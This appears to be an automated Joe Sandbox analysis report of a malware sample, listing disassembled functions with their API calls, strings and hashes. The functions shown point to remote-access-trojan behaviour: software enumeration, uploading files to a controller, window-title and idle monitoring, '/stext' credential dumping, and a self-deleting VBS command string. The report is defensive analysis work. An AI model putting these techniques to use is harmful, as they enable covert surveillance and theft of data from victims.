String ID: CoAddRefServerProcess$CoCreateInstanceEx$CoInitializeEx$CoReleaseServerProcess$CoResumeClassObjects$CoSuspendClassObjects$ole32.dll
API String ID: 667068680-2233174745
Opcode ID: 9556215b540ae324ab427855eb2db49091e410042c8271505c71fdae927f3a40
Instruction ID: 9670e718c075bf4cfbf0fe8fbe8779a0a969192f44a4254f1b0fb46b078f4080
Opcode Fuzzy Hash: 9556215b540ae324ab427855eb2db49091e410042c8271505c71fdae927f3a40
Instruction Fuzzy Hash: D8F04CB469A7597DD604FB70BC938BE3A9C9711505340141E6835FD957FAB5C8064720

Uniqueness

Uniqueness Score: -1.00%

Function 1603C68F Relevance: 23.0, APIs: 6, Strings: 7, Instructions: 214registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Uninstall,00000000,00020019,?), ref: 1603C6B1
RegEnumKeyExA.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 1603C6F5
RegCloseKey.ADVAPI32(?), ref: 1603C9BF

Strings

DisplayName, xrefs: 1603C73C
InstallLocation, xrefs: 1603C77C
InstallDate, xrefs: 1603C790
Software\Microsoft\Windows\CurrentVersion\Uninstall, xrefs: 1603C6A7
DisplayVersion, xrefs: 1603C768
UninstallString, xrefs: 1603C7A4
Publisher, xrefs: 1603C751

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CloseEnumOpen
String ID: DisplayName$DisplayVersion$InstallDate$InstallLocation$Publisher$Software\Microsoft\Windows\CurrentVersion\Uninstall$UninstallString
API String ID: 1332880857-3714951968
Opcode ID: d89cf365eb11c574267e7ca9525cf354c135052c9a567ca771befca61b69acb7
Instruction ID: 3e33793de648641eaee3784a64a0753df8cf9f2fd5fcd871387aaf1d560b5868
Opcode Fuzzy Hash: d89cf365eb11c574267e7ca9525cf354c135052c9a567ca771befca61b69acb7
Instruction Fuzzy Hash: 7F8120751082859FD368DF10DC90EEFBBEABF94306F50492EE59982154FF30A94DCA92

Uniqueness

Uniqueness Score: -1.00%

Function 1603D58F Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 74windowCOMMON

Download Yara Rule

APIs

DefWindowProcA.USER32(?,00000401,?,?), ref: 1603D5DA
GetCursorPos.USER32(?), ref: 1603D5E9
SetForegroundWindow.USER32(?), ref: 1603D5F2
TrackPopupMenu.USER32(00000000,?,?,00000000,?,00000000), ref: 1603D60C
Shell_NotifyIconA.SHELL32(00000002,16094B48), ref: 1603D65D
ExitProcess.KERNEL32 ref: 1603D665
CreatePopupMenu.USER32 ref: 1603D66B
AppendMenuA.USER32(00000000,00000000,00000000,Close), ref: 1603D680

Strings

Close, xrefs: 1603D671

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Menu$PopupWindow$AppendCreateCursorExitForegroundIconNotifyProcProcessShell_Track
String ID: Close
API String ID: 1657328048-3535843008
Opcode ID: 156241c184bbbf5bafef5e2815d6630da113ce1001afea0be682af845bddef2e
Instruction ID: 8711d42dc7543bc60e091bc076c2a6ed22fac22c0917e972cecf95329ce5c7db
Opcode Fuzzy Hash: 156241c184bbbf5bafef5e2815d6630da113ce1001afea0be682af845bddef2e
Instruction Fuzzy Hash: 2B210572901119AFEB199FA4CD8DE6D3F77FB28343F010214FB1AA50A4D7719964EB50

Uniqueness

Uniqueness Score: -1.00%

Function 16065D56 Relevance: 22.8, APIs: 15, Instructions: 296COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 16065DC6
_free.LIBCMT ref: 16065DDC
_free.LIBCMT ref: 16065DED
_free.LIBCMT ref: 16065DFE
_free.LIBCMT ref: 16065E15
GetCPInfo.KERNEL32(?,?), ref: 16065E5D

Part of subcall function 16072E74: _free.LIBCMT ref: 16072EDF

_free.LIBCMT ref: 16066009
_free.LIBCMT ref: 1606601C
_free.LIBCMT ref: 1606602A
_free.LIBCMT ref: 16066035
_free.LIBCMT ref: 16066077
_free.LIBCMT ref: 1606607F
_free.LIBCMT ref: 16066087
_free.LIBCMT ref: 1606608F
_free.LIBCMT ref: 1606609D

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: _free$Info
String ID:
API String ID: 2509303402-0
Opcode ID: 36905f7c42f4593ae9a92bebedf41894e62919ed72387397b75c1118bc497431
Instruction ID: 292876c0edcdc473e408195c43d9f55b99d697fa04438816bebda1df91984237
Opcode Fuzzy Hash: 36905f7c42f4593ae9a92bebedf41894e62919ed72387397b75c1118bc497431
Instruction Fuzzy Hash: 56B1AD71D10255AEDB11CF6ACC80BEEBFF5FF08300F10416DE999A7241D676A949CB61

Uniqueness

Uniqueness Score: -1.00%

Function 160712C6 Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 1607130A

Part of subcall function 16070502: _free.LIBCMT ref: 1607051F
Part of subcall function 16070502: _free.LIBCMT ref: 16070531
Part of subcall function 16070502: _free.LIBCMT ref: 16070543
Part of subcall function 16070502: _free.LIBCMT ref: 16070555
Part of subcall function 16070502: _free.LIBCMT ref: 16070567
Part of subcall function 16070502: _free.LIBCMT ref: 16070579
Part of subcall function 16070502: _free.LIBCMT ref: 1607058B
Part of subcall function 16070502: _free.LIBCMT ref: 1607059D
Part of subcall function 16070502: _free.LIBCMT ref: 160705AF
Part of subcall function 16070502: _free.LIBCMT ref: 160705C1
Part of subcall function 16070502: _free.LIBCMT ref: 160705D3
Part of subcall function 16070502: _free.LIBCMT ref: 160705E5
Part of subcall function 16070502: _free.LIBCMT ref: 160705F7

_free.LIBCMT ref: 160712FF

Part of subcall function 16066782: HeapFree.KERNEL32(00000000,00000000,?,16070C6F,?,00000000,?,00000000,?,16070F13,?,00000007,?,?,1607145E,?), ref: 16066798
Part of subcall function 16066782: GetLastError.KERNEL32(?,?,16070C6F,?,00000000,?,00000000,?,16070F13,?,00000007,?,?,1607145E,?,?), ref: 160667AA

_free.LIBCMT ref: 16071321
_free.LIBCMT ref: 16071336
_free.LIBCMT ref: 16071341
_free.LIBCMT ref: 16071363
_free.LIBCMT ref: 16071376
_free.LIBCMT ref: 16071384
_free.LIBCMT ref: 1607138F
_free.LIBCMT ref: 160713C7
_free.LIBCMT ref: 160713CE
_free.LIBCMT ref: 160713EB
_free.LIBCMT ref: 16071403

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: ffc394cb8940fb7b18a33c18a10fcecb84425a51fa9a111d6902fa0e95cf3a9f
Instruction ID: 9b43767285c3d56def44202a6780a36de686692de25c5a64adbc363de065e8df
Opcode Fuzzy Hash: ffc394cb8940fb7b18a33c18a10fcecb84425a51fa9a111d6902fa0e95cf3a9f
Instruction Fuzzy Hash: C4317C35A003019FEB10CA3ADC44B5A7BEAEF00312F5485ADE4A9D7590DE30BD48CB55

Uniqueness

Uniqueness Score: -1.00%

Function 16028B7A Relevance: 19.6, APIs: 8, Strings: 3, Instructions: 328fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000,000000B6), ref: 16028CE3
GetFileSizeEx.KERNEL32(00000000,?), ref: 16028D1B
__aulldiv.LIBCMT ref: 16028D4D

Part of subcall function 16024AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 16024B36

Part of subcall function 1603B4EF: GetLocalTime.KERNEL32(00000000), ref: 1603B509

SetFilePointerEx.KERNEL32(00000000,?,?,00000000,00000000), ref: 16028E70
ReadFile.KERNEL32(00000000,00000000,?,?,00000000), ref: 16028E8B
CloseHandle.KERNEL32(00000000), ref: 16028F64
CloseHandle.KERNEL32(00000000,00000052), ref: 16028FAE
CloseHandle.KERNEL32(00000000), ref: 16028FFC

Strings

ReadFile error, xrefs: 16028FC8
SetFilePointerEx error, xrefs: 16028FD4
Uploading file to Controller: , xrefs: 16028DD5

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: File$CloseHandle$CreateLocalPointerReadSizeTime__aulldivsend
String ID: ReadFile error$SetFilePointerEx error$Uploading file to Controller:
API String ID: 3086580692-2596673759
Opcode ID: 1b21cb311e2b43c60ba858d260ee1e5b72c9f9dfa0f8af08309af0e585f3f8ef
Instruction ID: 76509714d5b2a914ecb91b7a5d5b349cdb438666a8e90ddb1e0bc2418baf684c
Opcode Fuzzy Hash: 1b21cb311e2b43c60ba858d260ee1e5b72c9f9dfa0f8af08309af0e585f3f8ef
Instruction Fuzzy Hash: AEB1CF396483409FC754EB64CC90AAFBFEAAFD4211F81492DF58957290EF30A90DCB42

Uniqueness

Uniqueness Score: -1.00%

Function 160248C8 Relevance: 19.4, APIs: 4, Strings: 7, Instructions: 144networkCOMMON

Download Yara Rule

APIs

connect.WS2_32(FFFFFFFF,?,?), ref: 160248E0
CreateEventW.KERNEL32(00000000,00000000,00000001,00000000), ref: 16024A00
CreateEventW.KERNEL32(00000000,00000000,00000001,00000000), ref: 16024A0E
WSAGetLastError.WS2_32 ref: 16024A21

Part of subcall function 1603B4EF: GetLocalTime.KERNEL32(00000000), ref: 1603B509

Strings

TLS Error 1, xrefs: 16024937
TLS Error 2, xrefs: 16024955
Connection Refused, xrefs: 16024A76
TLS Error 3, xrefs: 160249D8
TLS Handshake... | , xrefs: 16024904
Connection Failed: , xrefs: 16024A43
TLS Authentication Failed, xrefs: 16024999

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CreateEvent$ErrorLastLocalTimeconnect
String ID: Connection Failed: $Connection Refused$TLS Authentication Failed$TLS Error 1$TLS Error 2$TLS Error 3$TLS Handshake... |
API String ID: 994465650-2151626615
Opcode ID: 6a3bcd6d41c383de28aa8fdc9e54229c3c00704adce5f455e2d8ad98f27a321b
Instruction ID: 95befe30014bac21e404518ed8e32ecb6e120c3eae46922ee56e8164d998d16e
Opcode Fuzzy Hash: 6a3bcd6d41c383de28aa8fdc9e54229c3c00704adce5f455e2d8ad98f27a321b
Instruction Fuzzy Hash: BD41D479E405026BD715F7B9CD9542DBE6BAF51141BC0416CD8025BA87EB12F82CCBE3

Uniqueness

Uniqueness Score: -1.00%

Function 16070600 Relevance: 18.4, APIs: 12, Instructions: 376COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 16070648
_free.LIBCMT ref: 1607066C
_free.LIBCMT ref: 16070679
_free.LIBCMT ref: 1607069E
_free.LIBCMT ref: 160706AB
_free.LIBCMT ref: 160706B4
_free.LIBCMT ref: 16070992
_free.LIBCMT ref: 1607099A

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 4bfc94fd6c842d3bca7ec0b401883ee72c18d2173f40795be167acf66927efa9
Instruction ID: c5b8c5062e7bc388c2dcf2a7725151d1ace7052501e08ecb538633843639ad10
Opcode Fuzzy Hash: 4bfc94fd6c842d3bca7ec0b401883ee72c18d2173f40795be167acf66927efa9
Instruction Fuzzy Hash: 30C125B6E40209BFDB10CBA8CC85FDE7BF9AB49700F144165FA45EB281E570AE45C7A4

Uniqueness

Uniqueness Score: -1.00%

Function 16024E26 Relevance: 18.1, APIs: 12, Instructions: 65synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,16094EF8,?,00000000,16094EF8,16024CA8,00000000,00000000,00000000,00000000,16094EF8,16024AC9), ref: 16024E38
SetEvent.KERNEL32(00000000,?,00000000,16094EF8,16024CA8,00000000,00000000,00000000,00000000,16094EF8,16024AC9), ref: 16024E43
CloseHandle.KERNEL32(00000000,?,00000000,16094EF8,16024CA8,00000000,00000000,00000000,00000000,16094EF8,16024AC9), ref: 16024E4C
closesocket.WS2_32(FFFFFFFF), ref: 16024E5A
WaitForSingleObject.KERNEL32(00000000,000000FF,?,00000000,16094EF8,16024CA8,00000000,00000000,00000000,00000000,16094EF8,16024AC9), ref: 16024E91
SetEvent.KERNEL32(00000000,?,00000000,16094EF8,16024CA8,00000000,00000000,00000000,00000000,16094EF8,16024AC9), ref: 16024EA2
WaitForSingleObject.KERNEL32(00000000,000000FF,?,00000000,16094EF8,16024CA8,00000000,00000000,00000000,00000000,16094EF8,16024AC9), ref: 16024EA9
SetEvent.KERNEL32(00000000,?,00000000,16094EF8,16024CA8,00000000,00000000,00000000,00000000,16094EF8,16024AC9), ref: 16024EBA
CloseHandle.KERNEL32(00000000,?,00000000,16094EF8,16024CA8,00000000,00000000,00000000,00000000,16094EF8,16024AC9), ref: 16024EBF
CloseHandle.KERNEL32(00000000,?,00000000,16094EF8,16024CA8,00000000,00000000,00000000,00000000,16094EF8,16024AC9), ref: 16024EC4
SetEvent.KERNEL32(00000000,?,00000000,16094EF8,16024CA8,00000000,00000000,00000000,00000000,16094EF8,16024AC9), ref: 16024ED1
CloseHandle.KERNEL32(00000000,?,00000000,16094EF8,16024CA8,00000000,00000000,00000000,00000000,16094EF8,16024AC9), ref: 16024ED6

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$ObjectSingleWait$closesocket
String ID:
API String ID: 3658366068-0
Opcode ID: 7bf3f433764476f959ee6cef597217026e420cc9259c94fc287db72828d82a5f
Instruction ID: d95d4ddcb057633b21f442dd503095bfa59825421dab12df3f24ddaef7f5df29
Opcode Fuzzy Hash: 7bf3f433764476f959ee6cef597217026e420cc9259c94fc287db72828d82a5f
Instruction Fuzzy Hash: CF214931401B149FDB35AB26CC89B16BBF2FF40326F214A1DE2E211AF0CB61B815DB54

Uniqueness

Uniqueness Score: -1.00%

Function 16032AB4 Relevance: 18.0, APIs: 9, Strings: 1, Instructions: 482sleepfileCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 16032ACD

Part of subcall function 1603B978: GetCurrentProcessId.KERNEL32(00000000,?,?,?,?,?,?,1602407C), ref: 1603B99F

Part of subcall function 16038568: CloseHandle.KERNEL32(160240F5,?,?,160240F5,16085E74), ref: 1603857E
Part of subcall function 16038568: CloseHandle.KERNEL32(16085E74,?,?,160240F5,16085E74), ref: 16038587

Sleep.KERNEL32(0000000A,16085E74), ref: 16032C1F
Sleep.KERNEL32(0000000A,16085E74,16085E74), ref: 16032CC1
Sleep.KERNEL32(0000000A,16085E74,16085E74,16085E74), ref: 16032D63
DeleteFileW.KERNEL32(00000000,16085E74,16085E74,16085E74), ref: 16032DC5
DeleteFileW.KERNEL32(00000000,16085E74,16085E74,16085E74), ref: 16032DFC
DeleteFileW.KERNEL32(00000000,16085E74,16085E74,16085E74), ref: 16032E38
Sleep.KERNEL32(000001F4,16085E74,16085E74,16085E74), ref: 16032E52
Sleep.KERNEL32(00000064), ref: 16032E94

Part of subcall function 16024AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 16024B36

Strings

/stext ", xrefs: 16032BAA, 16032C4C, 16032CEE

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Sleep$File$Delete$CloseHandle$CurrentModuleNameProcesssend
String ID: /stext "
API String ID: 1223786279-3856184850
Opcode ID: 7c4d1abaee0b140217db999e99eee4699fa6df59d6f98da709f89152ce1107c0
Instruction ID: 3d001b46fb213bd7237e8993fa50a0abbcd8e7e0c567b65ceb2375d7a44f009c
Opcode Fuzzy Hash: 7c4d1abaee0b140217db999e99eee4699fa6df59d6f98da709f89152ce1107c0
Instruction Fuzzy Hash: 5A0255395483808FC369DB70DC90AEFBBE6AF94202F90496DE59A43195EF30694EC752

Uniqueness

Uniqueness Score: -1.00%

Function 16075BDB Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 160758A9: CreateFileW.KERNEL32(00000000,00000000,?,16075C84,?,?,00000000,?,16075C84,00000000,0000000C), ref: 160758C6

GetLastError.KERNEL32 ref: 16075CEF
__dosmaperr.LIBCMT ref: 16075CF6
GetFileType.KERNEL32(00000000), ref: 16075D02
GetLastError.KERNEL32 ref: 16075D0C
__dosmaperr.LIBCMT ref: 16075D15
CloseHandle.KERNEL32(00000000), ref: 16075D35
CloseHandle.KERNEL32(?), ref: 16075E7F
GetLastError.KERNEL32 ref: 16075EB1
__dosmaperr.LIBCMT ref: 16075EB8

Strings

H, xrefs: 16075E3D

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: d45133847714429fe8f60e10c249f8ed6c41bc3bc24f7e5c57b1ba5099774ade
Instruction ID: c692cebe748c3ade5a7d3bc5db5f9892c75fa06f86c7bb733b3e7f36e54d94de
Opcode Fuzzy Hash: d45133847714429fe8f60e10c249f8ed6c41bc3bc24f7e5c57b1ba5099774ade
Instruction Fuzzy Hash: 3FA14632A241999FDF1ECF68CC917DE3FA2AB06320F144149E851AB2D1DF32985ACB55

Uniqueness

Uniqueness Score: -1.00%

Function 03F62530 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 254windowCOMMON

Download Yara Rule

APIs

MessageBoxA.USER32(00000000,?,Unexpected Memory Leak,00002010), ref: 03F628CE

Strings

String, xrefs: 03F627A1
Unknown, xrefs: 03F6278C
, xrefs: 03F62814
An unexpected memory leak has occurred. , xrefs: 03F62690
The sizes of unexpected leaked medium and large blocks are: , xrefs: 03F62849
The unexpected small block leaks are:, xrefs: 03F62707
7, xrefs: 03F626A1
Unexpected Memory Leak, xrefs: 03F628C0
bytes: , xrefs: 03F6275D

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Message
String ID: $ bytes: $7$An unexpected memory leak has occurred. $String$The sizes of unexpected leaked medium and large blocks are: $The unexpected small block leaks are:$Unexpected Memory Leak$Unknown
API String ID: 2030045667-32948583
Opcode ID: 1ab34f650e143fb3df64ea0b274fb20c7df92163fb090a69147ee0c8407ea69c
Instruction ID: 6c3689639ca942268d44f0e7a339cc7e17906171d629e4f0f41e6af107d62d81
Opcode Fuzzy Hash: 1ab34f650e143fb3df64ea0b274fb20c7df92163fb090a69147ee0c8407ea69c
Instruction Fuzzy Hash: E4A1D534E04359ABDF21EA2CCC84B98B6F4EB09250F1449E5D549AB386CF7589C5CB51

Uniqueness

Uniqueness Score: -1.00%

Function 16034BB0 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 158COMMON

Download Yara Rule

Strings

65535, xrefs: 16034BB3
udp, xrefs: 16034C60, 16034C68, 16034C6C

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID:
String ID: 65535$udp
API String ID: 0-1267037602
Opcode ID: 355ae262c8cbddfd469ff628d0a483389b2dc8c349d467176dfb8a7cd5ac51da
Instruction ID: d4b712b223fcbf9c281f70aade786794d996fa1b5137f1ecdcbb324a15705a4d
Opcode Fuzzy Hash: 355ae262c8cbddfd469ff628d0a483389b2dc8c349d467176dfb8a7cd5ac51da
Instruction Fuzzy Hash: 4F51B07DA073119FE341CF65C904B2B3FE9AF84A53F020929FD959E290D765D88CC6A2

Uniqueness

Uniqueness Score: -1.00%

Function 1602ACD6 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 156sleepCOMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 1602AD38
Sleep.KERNEL32(000001F4), ref: 1602AD43
GetForegroundWindow.USER32 ref: 1602AD49
GetWindowTextLengthW.USER32(00000000), ref: 1602AD52
GetWindowTextW.USER32(00000000,00000000,00000000), ref: 1602AD86
Sleep.KERNEL32(000003E8), ref: 1602AE54

Part of subcall function 1602A636: SetEvent.KERNEL32(00000000,?,00000000,1602B20A,00000000), ref: 1602A662

Strings

{ User has been idle for , xrefs: 1602AE86
minutes }, xrefs: 1602AE7A
], xrefs: 1602ADE8
[, xrefs: 1602ADEE

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Window$SleepText$EventForegroundInit_thread_footerLength
String ID: [${ User has been idle for $ minutes }$]
API String ID: 911427763-3954389425
Opcode ID: 26c47fefceef7e6795d1b489f3ac9e590f39ae9e1e2101ec3f2bf8bad9f7585b
Instruction ID: 73316e18ca0f918a904b1d1fee9fd0fb70d63d08b8fe965adcef3153cf4b32d3
Opcode Fuzzy Hash: 26c47fefceef7e6795d1b489f3ac9e590f39ae9e1e2101ec3f2bf8bad9f7585b
Instruction Fuzzy Hash: 8B51F479A042515BD714EB30CC94A6F7FABAF94205FC0096DF99A93190EF30F98DC692

Uniqueness

Uniqueness Score: -1.00%

Function 1602D7FF Relevance: 17.6, APIs: 3, Strings: 7, Instructions: 148COMMON

Download Yara Rule

APIs

Part of subcall function 16032850: TerminateProcess.KERNEL32(00000000,?,1602D80F), ref: 16032860
Part of subcall function 16032850: WaitForSingleObject.KERNEL32(000000FF,?,1602D80F), ref: 16032873

Part of subcall function 160336F8: RegOpenKeyExA.ADVAPI32(80000001,00000000,00000000,00020019,?,00000208), ref: 16033714
Part of subcall function 160336F8: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,00000000,00000000), ref: 1603372D
Part of subcall function 160336F8: RegCloseKey.ADVAPI32(?), ref: 16033738

GetModuleFileNameW.KERNEL32(00000000,?,00000208), ref: 1602D859
ShellExecuteW.SHELL32(00000000,open,00000000,16086468,16086468,00000000), ref: 1602D9B8
ExitProcess.KERNEL32 ref: 1602D9C4

Strings

CreateObject("WScript.Shell").Run "cmd /c "", xrefs: 1602D8F9
CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName), xrefs: 1602D967
""", 0, xrefs: 1602D8E1
Temp, xrefs: 1602D89A
open, xrefs: 1602D9B2
.vbs, xrefs: 1602D85F
exepath, xrefs: 1602D831

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Process$CloseExecuteExitFileModuleNameObjectOpenQueryShellSingleTerminateValueWait
String ID: """, 0$.vbs$CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName)$CreateObject("WScript.Shell").Run "cmd /c ""$Temp$exepath$open
API String ID: 1913171305-2411266221
Opcode ID: 963967c8e45441a23f49d7a5c041e7324666ef9b350b07eb4a865b3185b37464
Instruction ID: cbce458160b65e451325ab43605e9fa66322e57771865fcf45000991d76064a1
Opcode Fuzzy Hash: 963967c8e45441a23f49d7a5c041e7324666ef9b350b07eb4a865b3185b37464
Instruction Fuzzy Hash: 92414539D500185ADB58DB64DC90DFFBF7AAF64202F8001ADE51AA7095FF207E4ECA90

Uniqueness

Uniqueness Score: -1.00%

Function 03F7A058 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 102libraryloaderCOMMON

Download Yara Rule

APIs

IsBadReadPtr.KERNEL32(?,00000004,?,00000014), ref: 03F7A078
GetModuleHandleW.KERNEL32(C:\Windows\System32\KernelBase.dll,LoadLibraryExA,?,00000004,?,00000014), ref: 03F7A08F
GetProcAddress.KERNEL32(00000000,C:\Windows\System32\KernelBase.dll), ref: 03F7A095
IsBadReadPtr.KERNEL32(?,00000004), ref: 03F7A123
IsBadReadPtr.KERNEL32(?,00000002,?,00000004), ref: 03F7A12F
IsBadReadPtr.KERNEL32(?,00000014), ref: 03F7A143

Strings

LoadLibraryExA, xrefs: 03F7A085
C:\Windows\System32\KernelBase.dll, xrefs: 03F7A08A

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Read$AddressHandleModuleProc
String ID: C:\Windows\System32\KernelBase.dll$LoadLibraryExA
API String ID: 1061262613-1650066521
Opcode ID: 3a46b27176a91aa420ad73abdb7cac50fdb6453594accd6c6c928c0395e09ddd
